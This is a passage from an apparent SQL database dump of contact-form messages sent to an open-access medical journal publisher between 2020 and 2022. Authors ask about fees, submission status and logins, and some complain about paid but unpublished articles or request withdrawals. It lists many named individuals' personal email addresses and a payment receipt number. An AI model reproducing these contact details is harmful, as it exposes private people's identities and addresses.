reviewer to finish it. If it gets too late then it might loose its attraction. \r\nHope to hear from you soon.\r\n\r\nRegards.','2020-08-27'),(358,'Prof. Zuheir N. Mahmoud','zuheirnm@hotmail.com',639,'Fisheries','Can you please tell may about your publication fees.','2020-08-29'),(364,'EMANUELA CORIOLANO FIDELIX','efidelix@gmail.com',73,'Cancellation of the submission of our clinical case','Hello, dear editor.  \r\n\r\nRespectfully I would like to inform you that we are canceling the submission of our clinical case (Title: Adult onset Rasmussen’s Encephalopathy with good response to Rituximab: looking for disease control) in the journal.\r\n\r\nThank you.\r\n\r\n--\r\nEmanuela Coriolano Fidelix','2020-09-03'),(366,'Yasir Mehmood Malik','yasirmmalik@gmail.com',73,'Inquiry about manuscript ipjnn-20-4915','Dear Sir, \r\nMy manuscript no. ipjnn-20-4915 is accepted as per imedpub update but I did not receive any email about it. \r\nKindly update me if I need to do anything next?\r\n\r\nRegards.','2020-09-05'),(371,'Dr.Safia','sofy31313@gmail.com',45,'Question','Good morning Staff,\r\nMy I ask for how long it will take for publication if i submite a paper this week, as well how much the fee.\r\n appreciate your feedback\r\n Dr.Safia','2020-09-13'),(375,'Banasin Majeed','benazinmajeed97@gmail.com',975,'MULTIPLE AUTHORS','How am I supposed to feed the information if the research work holds more than one author? We are a group of 4 students and a supervisor. Please advise. ','2020-09-14'),(376,'jaspaljeet singh dhillon','jaspaljeet@gmail.com',45,'i have submitted an article but did not receive any email','i have submitted an article but did not receive any email \r\n\r\ntitle of paper submitted: Role of Information Systems in Healthcare ','2020-09-15'),(379,'Tekle Ejajo','ejajotekle@gmail.com',45,'Response of my submission ','I am waiting for your notification or response regarding with my submission through email ejajotekle@gmail.com ','2020-09-21'),(381,'Azucena Delgado','azucenadeo@hotmail.com',73,'Article','I hope you are well. \r\nI am writing to you because I received an email  from Neurology & Neuroscience <neurology@irispublishers-nl.net> with an invitation to publish an article and I would like to ask if the article with identification ANN-20-RW-722  was accepted by your magazine. \r\nThey asked me for a payment and I just got a call asking for money.\r\nI appreciate you to inform me about the situation\r\nThank you \r\n \r\nDra. Azucena Delgado \r\nNeuromedica \r\nTijuana. B.C. Mexico','2020-09-22'),(386,'Dr. P.KOTESHWAR RAO','kotesh_rao37@yahoo.co.in',639,'for index','i am here by sending article please inform your journal is scopus indexed or not','2020-09-27'),(391,'Jose Saenz','josedsaenzlopez@hotmail.com',277,'Correction ','Dear medicine archives\r\n\r\nBest regard\r\n\r\nThis is to inform you of an error that occurred in the publication of the article Infection by Sars-CoV-2 / Covid-19 and Ivermectin. Usefulness? By authors José David Sáenz López and Efrain De Jesus Barrios Reyes, with doi: 10.3823 / 1442, where the text was uploaded on the Open Journal platform with the references and at the time of publishing it does not come out with these, therefore We appreciate the collaboration that they can correct the publication of this article.\r\n\r\nThank you very much, I look forward to an answer.','2020-10-04'),(395,'Fatima Jehangir','fatima.jehangir@zu.edu.pk',86,'Revised article submitted on 5th July 2020','Dear Editor,\r\n\r\nI uploaded the revised article \" Prevalence and Outcome of Tuberculosis Treatment in a Primary Care Center in Karachi\" on 5th July 2020.  I want to know the status of the article. How long will the publication process take? I know delay was from my part, I submitted it late but now I wanted to inquire how long will it take for publishing?\r\n\r\nThanks & Regards,\r\n\r\nDr.Fatima Jehangir\r\n\r\n','2020-10-07'),(406,'Dr Ghina Rizwan','ghinarizwan@outlook.com',45,'Request for some information ','Kindly provide some details regarding your journal. What is the impact factor of your journal?','2020-10-27'),(419,'Raimundo Pereira Silva-Néto','netoesperantina@terra.com.br',73,'Article submission','Dear Editor, \r\nI submitted the article “Ischemic Stroke in Patients with SARS-CoV-2 Infection and Coagulation Disorders” and I did not receive confirmation of the submission.\r\nWas the article received?\r\nBest regards\r\nSilva-Néto','2020-11-08'),(422,'Deresse Daka','drsdk200@gmail.com',45,'To know the status of the article \"Early sexual debut and associated factors among high school and p','Dear, I submitted the paper before 3 months. How is it going? ','2020-11-17'),(441,'Loretta Eavou','Evogrl1952@icloud.com',45,'Membership','Please cancel my membership. If there is a problem please contact email. \r\nPlease include your service telephone number. ','2020-12-10'),(456,'Asma Deeb','asmadeeb@yahoo.co.uk',73,'Submission to journal of neurology and neuroscience','I have a manuscript to submit for the special issue of COVID and neurology. I have 2 questions please:\r\n1) Is the journal of neurology and neuroscience indexed in Pubmed\r\n2) Are there publication charges for the special issue. If yes, howe much?','2021-01-23'),(461,'Raymond M Khan','khanra1@ngha.med.sa',73,'Title: The Effect of Hyperoxia in Traumatic Brain Injury Patients in the Intensive Care Unit of a Te','Dear sir/madam - I submitted a manuscript yesterday: \"The Effect of Hyperoxia in Traumatic Brain Injury Patients in the Intensive Care Unit of a Tertiary Care Center.\"\r\nHowever, my email address was enter incorrectly - so could you please update and send all relevant information to: \r\nkhanra1@ngha.med.sa\r\nSorry for the confusion\r\nThank you so much\r\nRaymond Khan','2021-02-03'),(464,'Raymond M Khan','khanra1@ngha.med.sa',73,'Title: The Effect of Hyperoxia in Traumatic Brain Injury Patients in the Intensive Care Unit of a Te','Dear sir/madam - trying to contact you about the about our manuscript with the above title.\r\n\r\nWe submitted about a week ago, but did not receive a conformation email (khanra1@ngha.med.sa).\r\n\r\nPleas advice\r\n\r\nThank you for your help\r\nRaymond Khan','2021-02-06'),(468,'Yasir Mehmood amalik','yasirmmalik@gmail.com',73,'Inquiry about my article','Dear sir,\r\nMy article (Manuscript ID - ipjnn-20-4915) is accepted for last 3-4 months and I have paid fee as well. Why it is not published online?\r\nIts been long time. Please respond ASAP. I am really concerned about this. I have sent the copy of payment receipt to your finance department.\r\nI paid on 13 December,2020 online.\r\nThis is my receipt number;  #1480-0867.\r\nPlease do the needful and publish my article ASAP.\r\n\r\nRegards.','2021-02-13'),(471,'María Rocha','rochamariac201@gmail.com',277,'login','  Hello, submitted an article but I can´t login up, because there is an error in the password or user.\r\n\r\nthanks ','2021-02-18'),(472,'A.THENMOZHI, PhD Scholar','thenmozhi.a1981@gmail.com',86,'Nursing- Research Article publications Regarding ','Respected Sir/ Madam,\r\n Herewith, I  am requesting to you regarding research articles publications, i need details and journal names, Kindly send me ','2021-02-22'),(474,'Rajendra','rajendrabaharia@gmail.com',45,'Parasite and vector biologist ',' I am junior Scientist from India. Kindly provide me the publication fee /charges.\r\n\r\nBest Regrads ','2021-02-28'),(483,'Yasir Mehmood Malik','yasirmmalik@gmail.com',73,'Inquiry about my article','Dear sir,\r\nMY article with title \" Why COVID 19 virus causes Large vessel stroke selectively? An evidence based review.\" and manuscript number- ipjnn-20-4915 was accepted in Nov 2020 and article processing charges were paid in December 2020 but still my article is not published online. \r\nWhat is the reason? Can you kindly update me about the status of my article and expedite its publishing.\r\nI have few more articles ready if this is finished fast then I can send my next articles.\r\n\r\nRegards.\r\nDr Yasir M Malik\r\nNeurologist,\r\nDubai','2021-03-13'),(496,'Prof. Satyendra Nath Chakrabartty','chakrabarttysatyendra3139@gmail.com',45,'Query: APC  ','Please send me a link enabling me to  see instructions for formatting of manuscript and please confirm that there is no charge for publication of articles  in your journal.\r\n','2021-03-28'),(499,'Laura oshaughnessy','mythreepuppys5@yahoo.com',45,'Research study','Hi I am interested in participating in a research study. If you could contact me with anything available I would appreciate it. Thanks Laura Oshaughnessy','2021-03-30'),(500,'Vidushi Kaushik','vidushikaushik16@gmail.com',91,'','I wanted to know the manuscript guidelines for publishing the article. ','2021-03-31'),(501,'Maria Cristina Martinez','cristina.martinezavila@gmail.com',277,'','The login credentials to get into submission tracking is not working for me, it continuously says \"Invalid User Name or Password\"\r\nPlease help me so I can follow the editorial process of my manuscript','2021-03-31'),(503,'Midhun Mathew','mosm13@gmail.com',326,'Publishing fees','I am Dr.Mathew. I am interested in publishing a research in your esteemed journal. I was wondering about the publication fees. Kindly please lete know about the publication fees for the journal.\r\n\r\nThankyou','2021-04-05'),(509,'Robin Elise Champieux','champieu@ohsu.edu',73,'Please take down article Methodology and Feasibility of Neurofeedback immediately','Hello,\r\nI am writing to request that the Journal of Neurology and Neuroscience immediately takedown / unpublish the article Methodology and Feasibility of Neurofeedback, which was recently posted to your website:  https://www.jneuro.com/neurology-neuroscience/methodology-and-feasibility-of-neurofeedback-to-improve-visual-attention-to-letters-in-mild-alzheimers-disease.pdf.  \r\n\r\nThe authors, whom I work with at Oregon Health and Science University, did not approve the version posted to the site nor sign a publication agreement. \r\n\r\nPlease do this immediately, so we do not need to take further action.\r\n\r\nRobin Champieux\r\nDirector of Education, Research and Clinical Outreach\r\nOHSU Library\r\nOregon Health and Science University','2021-04-13'),(510,'Dr. Mamata Mishea','mmnbrc@yahoo.com',667,'Is there any APC fir Journal of Translational medicine','Kindly inform me.\r\nIf there is any Article Pucing Charge ( APC)\r\nFor Journal of translational Neuroscience.\r\nI have an article to submit','2021-04-14'),(521,'Bukhari Isah Shuaib','imam02803@gmail.com',45,'Clarification about hsj','Is hsj indexed by pubmed?\r\nIs hsj classified as a predatory journal?\r\nPlease we need supported evidence.\r\n','2021-04-27'),(543,'Atchrimi Komi Sagnan','ksagnan@gmail.com',975,'','Hello,\r\nI would like to know about the publication fee (Open access) and the duration to get a submitted manuscript accepted and published. \r\nThanks','2021-06-14'),(544,'Atchrimi Komi Sagnan','ksagnan@gmail.com',975,'','Hello,\r\nI would like to know about the publication fee (Open access) and the duration to get a submitted manuscript accepted and published. \r\nThanks','2021-06-14'),(545,'Ponn Benjamin','ponnsolo@gmail.com',85,'Journal Article for HSPR','Greetings, i just submitted my article, \"Roles and Responsibilities of Tertiary-care Associated Urgent Care Centers: a Rapid Literature Review\". However, I did not receive any email confirmation upon submission.  I am wondering if you have received it.  Kindly advice. Respectfully\r\nPonn S. Benjamin','2021-06-16'),(553,'Aseel Bin Sawad','aseel_post@hotmail.com',277,'Status of our manuscript?','Hello,\r\n\r\nI hope this email finds you well.\r\n\r\nWe would like to contact you regarding our manuscript. We submitted our manuscript on June 5, 2021, and we did not hear back from you yet. So, we would like to follow up.\r\n\r\n- We discovered there is a mistake in the title. The correct title is \"Impact of COVID-19 on Pharmaceutical Industry: Status of Clinical Trials and Mitigation Strategies\" instead of \"Changes in the Oncology Field during COVID-19 Pandemic\"\r\n- What is the status of our manuscript?\r\n\r\nThank you.\r\n\r\nBest regards,\r\nAseel Bin Sawad, Pharm D, MSc, MCR, MS, PhD, DBA\r\n\r\nAssistant Professor,\r\nCollege of Pharmacy, Umm Al-Qura University','2021-06-29'),(556,'Aseel Bin Sawad','aseel_post@hotmail.com',277,'Status of our manuscript?','Hello,\r\n\r\nI hope this email finds you well.\r\n\r\nI am sending this email to follow up with you regarding our manuscript the we submitted on June 5, 2020. There was a mistake when we submitted our manuscript with the title \"Changes in the Oncology Field during COVID-19 Pandemic\". The correct title should be \"Impact of COVID-19 on Pharmaceutical Industry: Status of Clinical Trials and Mitigation Strategies\". In addition, we did not hear any feedback from you regarding the manuscript! What is the status?\r\n\r\nThanks and we hope to hear back from you soon.\r\n\r\nBest regards,\r\nAseel Bin Sawad, Pharm D, MSc, MCR, MS, PhD, DBA\r\n\r\nAssistant Professor,\r\nCollege of Pharmacy, Umm Al-Qura University','2021-07-02'),(558,'Akbota Tolegenova','atolegenova@alumni.nu.edu.kz',86,'Charge for publication','Dear Archives of Medicine, \r\nCould you please clarify the charge for the publication? Is it free or there are some charges? \r\nThank you!\r\n\r\nBest regards, Akbota','2021-07-05'),(564,'Mohsen Farazdaghi','m_farazdaghi@yahoo.com',73,'Not receiving confirmation','Hello\r\nI have submitted a manuscript entitled \"Sex differences in Lennox-Gastaut syndrome: electroclinical correlations\" few days ago but I have not received any confirmation. Also, I sent a message about our problems with APC if the manuscript would be accepted. I would appreciate it if I get an answer.\r\nThank you','2021-07-17'),(565,'Andrew Schiro','andrew.schiro@nhs.net',667,'Cannabinoid paper, DID NOT RECEIVE A CONFIRMATION EMAIL','Hello,\r\nI have submitted a paper and have not received a confirmatory email. \r\nCould you kindly look into this please and email me back ASAP.\r\n\r\nkind regards\r\n\r\nASCHIRO','2021-07-19'),(566,'Adrienn Markovics','Adrienn_Markovics@rush.edu',91,'no confirmation after submission','Hi, I submitted an article last Friday and did not receive any confirmation or password regarding the submission. \r\nI would appreciate it if you can send feedback. \r\nBest, Adrienn','2021-07-20'),(567,'Snehankit Gawade','snehankitgawade22@gmail.com',91,'ENQUIRY ','IS YOUR JOURNAL IS UGC APPROVED?','2021-07-21'),(570,'Chioma Judith','ugwuchiomajudith@gmail.com',86,'Infertility','Any treatment for hydrosalpinx','2021-07-26'),(574,'Omid zare','omidzarebezkabadi@yahoo.com',73,'Fee of submission','Hi \r\nHow much it cost for an overview of epilepsy EEG signal to be submitted in the journal of Neurology?!','2021-07-31'),(579,'Joyette L. Aiken','joyette.aiken02@uwimona.edu.jm',45,'Publication guidelines','Good day,\r\n I cannot seem to locate details re: submission guidelines, and the publication costs. I am interested in a submission to your journal and need this information. Thank you','2021-08-06'),(587,'Shahila Christie','shahila@novascanllc.com',667,'Manuscript submission confirmation not received','I have submitted a manuscript yesterday titled \" The Cole Relaxation Frequency as a Parameter to Identify and Spatially Map Cancer in Breast Tissue: Preliminary in vivo Patient Study\".  I have not received a submission confirmation as yet. Please let me know next steps. Thank you!','2021-09-03'),(590,'Rabiya','dramanrose22@gmail.com',326,'Surgery','What is the publication fee for an Indian author ','2021-09-10'),(591,'parul parvesh verma','parulashtadoc@gmail.com',975,'regarding my article','i havent recived any message regarding the acceptance of my article','2021-09-12'),(594,'Fahad Somaa','fsomaa6549@gmail.com',45,'Submission','I submitted my manuscript to your journal through the link you provided. \r\nBut I have not received your email for my login details. Please update','2021-09-13'),(597,'James Lee','jlee81@student.touro.edu',45,'Journal Publication Fee','My name is James Lee and I am a student at the University of Touro Nevada. A group of students including myself are conducting a research study on the effect of wilderness exposer on stress levels in graduate students. At this time we are looking for a journal to submit our manuscript to.  I would like to learn more about the cost to submit a manuscript and publish a paper in your journal. Thank you for your time.\r\n\r\n','2021-09-15'),(600,'Neha Bansal','nehabansalphd@kuk.ac.in',45,'Regarding submission of manuscript','Respected Sir/ Mam\r\nI want to submit my manuscript titled \"Satisfaction of Patients and their Families: A conceptual framework\" in your esteemed journal Health Science Journals. I want to clarify the range of the word limit, the font size and font style for the submission purpose.\r\nKindly throw light on the above. I will be highly obliged.\r\n\r\nThanking you\r\nYours Sincerely\r\nNeha Bansal\r\nResearch Scholar\r\nDepartment of Commerce\r\nKurukshetra University, Kurukshetra\r\nHaryana, India','2021-09-24'),(601,'DR PUJA JHA','pujajha26@gmail.com',971,'Query regarding response time or turn around time of a submitted  article ','I am working  as an assistant professor in the department of biochemistry of University College of Medical Sciences, Delhi,India. I am interested in submitting  an article on laboratory work. kindly let me know the response time of your journal.  My email ID is pujajha26@gmail.com.  Thanks and regards. ','2021-09-24'),(602,'SHERIFF TUNDE AGBAJE','sheffydeen1@gmail.com',971,'COMPLAINT','I submitted an article and i didnt get confirmation. what should i do','2021-09-24'),(605,'Ahtsham Ul Hassan','ahtsham.hassan@hotmail.com',251,'Manuscript submission','Hi,\r\nI have submitted a paper in your journal, but did not receive any confirmation email. And they did not ask me for other authors details.','2021-09-29'),(608,'Sneha Chauhan','chauhansneha73@gmail.com',45,'when my article have to publish?','How many Days take for Publivcation?','2021-10-06'),(612,'Dr Erum Rehman','erumks@gmail.com',45,'case report ','Good Morning;\r\nis there any fees for case report submission and after approval ','2021-10-10'),(620,'Mohaddeseh','Larypoor',251,'withdraw of my article','Hi\r\nI am Mohadeseh Larypoor. Unfortunately, last night I saw one of my articles titled \r\n(( Evaluation of the immunomodulatory effects of Aflatoxin-B1 and Aged Garlic Extract in Tumor Balb/C Mice))\r\n published online in your journal,vol12 No S4:167  which I did not submit myself. Apparently, my student submitted this article without my knowledge, while this journal was not in accordance with the principles of our country and I I have a request to withdraw. The sender of the article is also being prosecuted and has committed an immoral act. Unfortunately, my university address was also sent incorrectly.\r\nPlease return my article to me and take it offline so I can print it.Otherwise, I have to act legally. I look forward to hearing from you as soon as possible\r\nDr. Mohadeseh Laripour\r\nFaculty member of Islamic Azad University, Tehran Branch, North Tehran, Iran','2021-10-27'),(627,'Emilio abuabara','Abubarak20@gmail.com',277,'Reporte de caso','Cordial saludo\r\n\r\nYo envíe un reporte de caso sobre prima verde asociado a propofol pero no se adjuntaron las fotos, me llego un correo con un usuario pero no entra a la plataforma. Gracias','2021-11-09'),(630,'Bellarmine','bellarminechika@gmail.com',45,'','Does your journal involve any fees?','2021-11-15'),(631,'Anya Uzo Anya','anya_214@yahoo.com',91,'manuscript number    ijddr-21-9603','Dear Editor,\r\ni want to know the status of my manuscript with number IJDDR-21-9603.\r\nThe last time we communicated you was promised to send the link to me by first week of November 2021. I have paid the article publication charge (APC) and expecting my article to be published\r\ni await to hear from you.\r\n\r\nBest Regards\r\nAnya','2021-11-19'),(632,'DR. T. V. S. R. RAGHU','raghutanuku@gmail.com',86,'Processing & Publishing fee in Indian rupee','Dear Sir/ Madam, \r\nI wish to know the Processing & Publishing fee in Indian rupee of my Manuscript submitted to Archivesof Medicine. \r\nThank you\r\nRegards\r\nDr. T. V. S. R. Raghu\r\nAuthor','2021-11-29'),(634,'Carlos Vergara','vergara1984@hotmail.es',277,'Envío de artículo ',' El día de ayer envié un manuscrito a su revista titulado “ Infecciones por Staphylococcus aureus, presentaciones clínicas frecuentes en pediatría, sensibilidad en los últimos 3 años en un hospital de Montería, Córdoba” pero no recibí el correo confirmando el recibido de dicho manuscrito, podrían por favor confirmarme que les ha llegado, gracias ','2021-12-14'),(638,'MARIA SOFIA','cotellim@gmail.com',86,'','good afternoon, are there any fees or charges after submitting a paper?\r\nmany thanks best regards','2021-12-29'),(639,'Dr.Anuradha','anuradha.majumdar@gmail.com',91,'Unable to submit manuscript','I tried submitting my manuscript but when I clicked on submit manuscript button it showed email id/username already exists.What can I do in this case?','2021-12-30'),(645,'Ana Carolina Panhan','carol_panhan@hotmail.com',45,'Article withdrawal: \"Electromyographic Activity and Neuromuscular Efficiency of the Internal Oblique','Dear, I would like to remove the article: ´´Electromyographic Activity and Neuromuscular Efficiency of the Internal Oblique Muscle in Pilates Practitioners``, because unfortunately I do not have support for financial payment. ','2022-01-11'),(647,'Bongani Ndhlovu','bongany@gmail.com',85,'Submission','Good afternoon, im am struggling to submit my documents on your website, i.e. submission of a manuscript.\r\n\r\nIs there an alternative method, e.g e-mail  I can use instead??\r\n\r\nThanks','2022-01-12'),(648,'Anya Uzo Anya','anya_214@yahoo.com',91,'manuscript number    ijddr-21-9603','Dear Editor,\r\nAm yet to get the status of my manuscript  with  ID: number IJDDR-21-9603.\r\nThe last time I heard from you, I was told that a link will be sent to me to view the publication and the article publication charge has been paid\r\nIt is taking too long as I urgently need the publication upgrading.\r\nI look forward to hear from you soon.\r\nRegards\r\nAnya','2022-01-17'),(654,'Abdulmecit Afşin','abdulmecitafsin@gmail.com',971,'Article withdrawal request','Dear Editor,\r\nPlease retract the article below.\r\nI request that the article be deleted so that it will never be seen on the journal site.\r\nI undertake to pay the article withdrawal fee.\r\nBest regards\r\nThe Article : Afsin A, Yılmaz M, Deger S, Tasolar H, Yasar E, et al. (2017). Evaluation of the Tp-e interval and Tp-e/QT ratio patients with Mitral\r\nAnnular Calcification. Ann Clin Lab Res Vol.5: No.4: 199. DOI: 10.21767/2386-5180.1000199\r\n*Corresponding author: Dr. Abdulmecit Afşin, ','2022-01-30'),(655,'Anya Uzo Anya','anya_214@yahoo.com',91,'manuscript number ijddr-21-9603','What is the status of my article with manuscript number IJR-21-9603? I have been waiting to get feedback from the editor and the article publication charge (APC) have been paid. This is taking too long as I need the publication for my upgrading.\r\nHope to get a positive response from you soon.\r\nRegards\r\nAnya','2022-01-31'),(656,'Anya Uzo Anya','anya_214@yahoo.com',91,'manuscript number ijddr-21-9603','What is the status of my article with manuscript number IJR-21-9603? I have been waiting to get feedback from the editor and the article publication charge (APC) have been paid. This is taking too long as I need the publication for my upgrading.\r\nHope to get a positive response from you soon.\r\nRegards\r\nAnya','2022-01-31'),(659,'Nelky Urrutia Amable','nelkyua@infomed.sld.cu',73,'Publicación de artículo científico','Hola, me interesaría publicar un artículo de mi autoría en su Revista. Me pudiera orientar???','2022-02-02'),(662,'Ib Odderson','odderson@uw.edu',73,'Loging in ','I have registered as an author, but cannot get a password sent to me.\r\nYour help is appreciated.\r\nIb Odderson, MD','2022-02-06'),(663,'Ib Odderson','odderson@uw.edu',73,'Submitting a manuscript','Cannot submit a manuscript.  Problem with your page:\r\nThe text is vertical!  Should be horisontal','2022-02-06'),(666,'Jaime Arturo Dulce','jadulcem@gmail.com',277,'Solicitud de información','Hola buenas tardes, el día de ayer yo subí un archivo propuesto para publicación, pero hasta hoy no he recibido ninguna retroalimentación, ni he recibido ninguna contraseña. Agradezco su atención prestada','2022-02-07'),(670,'Jörgen Sandell','jorgenvsandell1@gmail.com',975,'submission','Hello\r\n\r\nI would like to submit an article I have written in hopes of getting it published. Do you have a template for the format you want it to be, or can I send the content as I have written it and you will edit it to fit your format?\r\n\r\nBest regards\r\nJörgen Sandell PhD','2022-02-12'),(671,'James A Charles MD FAAN FAHS','jacharlesmd@gmail.com',73,'Fees ','Hi I am considering submission of an article \r\nIs there a processing fee?  If so, how much ','2022-02-13'),(672,'James A Charles MD FAAN FAHS','jacharlesmd@gmail.com',73,'Fees ','Hi I am considering submission of an article \r\nIs there a processing fee?  If so, how much ','2022-02-13'),(673,'Anya Uzo Anya','anya_214@yahoo.com',91,'manuscript number    ijddr-21-9603','Am yet to know the status of my article. The article was sent to IJDDR and the article publication charge (APC) has been paid. All effort to reach editors through mail have been abortive. Please, if the publication can not done in IJDDR let me know so as to know my next action.  ','2022-02-17'),(674,'Alperen Özkök','s.alperen.ozkok@gmail.com',975,'Author Login','I am unable to login as an author as of yesterday. I initially thought I made a mistake with the password, but after requesting the password several times I am now sure there is a problem with my login. I would like to resolve this issue as soon as possible. Thank you for your time and effort.','2022-03-09'),(675,'Alperen Ozkok','s.alperen.ozkok@gmail.com',975,'Login Failure','I have previously contacted through here to no avail. I have a manuscript that is in review process and I can not reach it. I would like to know what I can do to access my author portal as soon as possible.','2022-03-11'),(676,'Prof. Satyendra Nath Chakrabartty','chakrabarttysatyendra3139@gmail.com',45,'Query: APC  ','Dear Editor, \r\nI have several publications in your journals. I am ready with my next paper and would like to submit for possible publication in your esteemed journal.\r\nPlease confirm that it will be a 100% cost fre publication and enable me to submit.\r\nRegards.\r\nProf. Satyendra Nath Chakrabartty\r\n','2022-04-01'),(677,'Maletsooa Chabeli','maletsooa@gmail.com',667,'My manuscript','I submitted my manuscript to your journal on March the 4th and when I try to access it,  it says no article. ','2022-04-04'),(678,'Maletsooa Chabeli','maletsooa@gmail.com',667,'My submission','I would like to withdraw my submission','2022-04-05'),(679,'Maletsooa Chabeli','maletsooa@gmail.com',667,'My submission','Its been a month and my paper has not been issued a reference number and has not been assigned an editor, I would like to withdraw my article, I am under time constrainsts','2022-04-05'),(680,'Joan R','laurenalbert9294@gmail.com',73,'Submission Inquiry','Hello,\r\n\r\nI am interested in submitting and was reviewing the submission guidelines. Are there any submission fees to be aware of?','2022-04-07'),(681,'Cesar Alejandro Rodríguez Salinas','drcesarrdzsalinas@gmail.com',277,'Question about a submission made','Greetings! I´m César Rodríguez, and a few days ago I submitted a manuscript called \"Reporte de caso: Diabetes Insípida Central en Paciente con Neumonía COVID-19 Crítico en Tratamiento con Oxigenación por Membrana Extracorpórea.\" for the journal \"Archivos de Medicina\", but did not receive any confirmation e-mail in order to track the manuscript process. ','2022-05-13'),(682,'JORGE ELIAN AGAMEZ FUENTES','JAGAMEZF10@CURNVIRTUAL.EDU.CO',277,'ENVIO DE MANUSCRITO','BUEN DIA, EL DIA DE ANTES DE AYER REALIZE EL ENVIO DE UN MANUSCRITO, SIN EMBARGO A FECHA DE HOY NO ME HA LLEGADO CORREO DE CONFIRMACION, NI CONTRASEÑA DE INGRESO, SOLICITO PRONTA RESPUESTA, GRACIAS','2022-05-22'),(683,'jorge elian agamez fuentes','jagamezf10@curnvirtual.edu.co',277,'','buenas tardes no me han habilitado aun el ingreso a la plataforma solicito respuesta pronto','2022-05-28'),(684,'Anya Uzo','anya_214@yahoo.com',91,'manuscript number    ijddr-21-9603','Dear Editor,\r\nAm writing in respect of manuscript  IJDDR-21-9603 which article publication charge (APC) of USD200 has been paid since last year. i have written severally asking to know why my article is yet to be publish but no concrete response.\r\nI will like to se my paper published as soon as possible as it has taken almost a year since i sent it to your journal.\r\n\r\nRegards\r\nAnya ','2022-06-10'),(685,'Ong Chee Seng','rcs_ong@yahoo.com',86,'Unable to log in author account with ID and password provided','I have problem to log in using the existing ID and password provided to me. thanks you','2022-07-06'),(686,'JOSE DAVID VILLANUEVA MARTINEZ','josevillanueva06@hotmail.com',277,'INFORMACION SOBRE LA ACEPTACION DE UN ARTICULO ','POR EL SIGUIENTE CONTACTO ME PERMITO INFORMAR QUE ENVIE ARTICULO DE ANESTESILOGIA BLOQUEO DEL CANAL DE LOS ADUCTORES POR VIA SUPRAPATELAR ECOGUIADO, CONTROL DE DOLOR Y EVALUACIÓN DE LA FUERZA MUSCULAR EN PACIENTES SOMETIDOS A CIRUGIA DE RODILLA EN UNA INSTITUCION DE LA CIUDAD DE SINCELEJO EN EL PRIMER SEMESTRE DE 2022 EN CALIDAD PROPIA DE AUTOR CON MI PROPIO NOMBRE JOSE DAVID VILLANUEVA MARTINEZ PARA SOMETERLO A REVISION A LA REVISTA ARCHIVOS DE MEDICINA, POR MEDIO DE ESTE CONTACTO QUIERO EXPRESAR QUE NO HE RECIBIDO CORREO INDICANDO  PASOS A SEGUIR  Y CAMBIOS QUE HACER AL MANUSCRITO PARA QUE PUEDA SER PUBLICADO, DE ANTEMANO AGRADEZCO SU COLABORACION.','2022-07-12'),(687,'Maria Cristina Guaman Burneo','cristina.guaman.burneo@gmail.com',91,'information','Dear Sirs,\r\nWe summited a paper called \"Amazonian herbal extracts into a novel natural adjuvant product: BretVir®, a promising therapy against respiratory diseases\" and I did not receive any document or email with the confirmation. So, please if you can confirm me the submission, I will be very grateful.\r\nCristina Guamán','2022-07-14'),(688,'Anya Uzo','anya_214@yahoo.com',91,'manuscript number    ijddr-21-9603','Am enquiring of the status of my manuscript with number IJDDR-21-9603.  \r\nThe article publication charge (APC) USD228 has been paid since last year and evident of payment as been sent to the editor. \r\nIt is over a year since sent the article to IJDDR and tangible feedback from the editors\r\n\r\nMay I know what is causing the delay \r\n\r\nLooking forward to your quick respond.\r\n\r\nRegards\r\nAnya\r\n','2022-08-05'),(689,'Tarek Garsaa','tarekgarsaa@hotmail.com',326,'publication','when the article could be published','2022-08-25'),(690,'Ethar Alboloshi','Etharalboloshi@yahoo.com',86,'Query ','What is the maximum number of authors accepted in a case report ?\r\n\r\nThank you ','2022-08-26'),(691,'Majidreza farrokhi','farokhim1401@gmail.com',73,'','Dear editor\r\n I withdraw my article with title \"Iatrogenic segmental Artery Aneurysmal Hemorrhage: Diagnosis, Management, and Prognosis: case report and review of the literature \" \r\nBest regards\r\nMajidreza farrokhi','2022-08-28'),(692,'Sylvia Maddison','microbiology@researchmeeting.org',251,'','Dear Manager,\r\nWe are very pleased to welcome you for “International Conference on Clinical Microbiology” during March 20-21, 2023 at Rome, Italy.\r\nWe cordially invite “IT medical team” to Collaborate with us (as Exhibitor or Sponsor) for this Conference. We wish to share with you the excitement and ideas for creation and exchange of knowledge and information in the scientific field through our Conference. In order to make conference successful, participation from great association like yours is very much required. \r\nWe are happy to provide you with the following benefits:\r\n•	Logo and Link of your association website in the Conference website;\r\n•	Recognition listing in the final conference program/proceedings;\r\n•	Logo of the media on the event’s banner\r\n•	Verbal recognition at the Inaugural Ceremony;\r\n•	Opportunity to take over and organize interested scientific track (s) / session (s) if any;\r\n•	Opportunity to organize a symposium/workshop;\r\n•	Special group discounts on registration fee to your members;\r\nMore details about the conference: https://scisynopsisconferences.com/clinicalmicrobiology/\r\nWe count on your close and constructive participation. \r\nIf you need any further information, please do not hesitate to contact us. Your response is eagerly awaited by us. \r\nWith Regards,\r\nThanks & Regards,\r\nSylvia Maddison\r\nProgram Manager | Clinical Microbiology 2023\r\nPhone: +358-94-2726901\r\nWhatsApp: +358-75-3251170','2022-09-01'),(693,'NDUWAYO NDUWAYO','danielnduwayo@yahoo.fr',975,'Information','Greeting of the day\r\n\r\nI am a young university teacher at the Faculty of Medicine in Bujumbura, Burundi, an East African country. I am very interested in stroke research in a country where its management is precarious. I have an article entitled \"Epidemiology of stroke risk factors in Bujumbura\". I would like to ask you if my article is in the field covered by your journal so that I can submit it. \r\n\r\nThank you in advance. I remain available for any further information.','2022-09-10'),(694,'John Kennedy','johnkennedybiomedical@gmail.com',975,'Biomedical Research 2022','Welcome back to 6th International Conference on Biomedical, Bio Pharma and Clinical Research which will be held during October 10-11, 2022  |  Webinar.\r\n\r\nThis year coming up with the imaginative subject on “Biomedical, Bio Pharma and Clinical Research” which means to offers new thoughts, procedures and strategies that legitimately influence the manner in which you work together and the administration which holds prominent experts in the field of Biomedical, Bio Pharma and Clinical Research.\r\n\r\nBiomedical, Bio Pharma and Clinical Research Conference is the stage of famous researchers, experts, college professors, specialists, and understudies, comprising of addresses. Oral and publication introductions, presentations and substantially more learning, share your Research involvement and get name acknowledgment and Certificates marked by our prominent world-class sorting out the advisory group.\r\n\r\nNo other occasion will offer a progressively noteworthy rundown of Keynote Speakers, quality colleagues and connecting with substance. This is an appealing occasion for representatives from Universities and Institutes to associate with researchers. Intrigued members can affirm their cooperation by consolidating the gathering with their associates.\r\n\r\nWith regards,                                                                                                                         \r\n\r\nJohn Kennedy,\r\n\r\nProgram Manager.','2022-09-12'),(695,'Muhammad Saad Alam','saaadalam@gmail.com',45,'Paid Guest Post','Good Day to 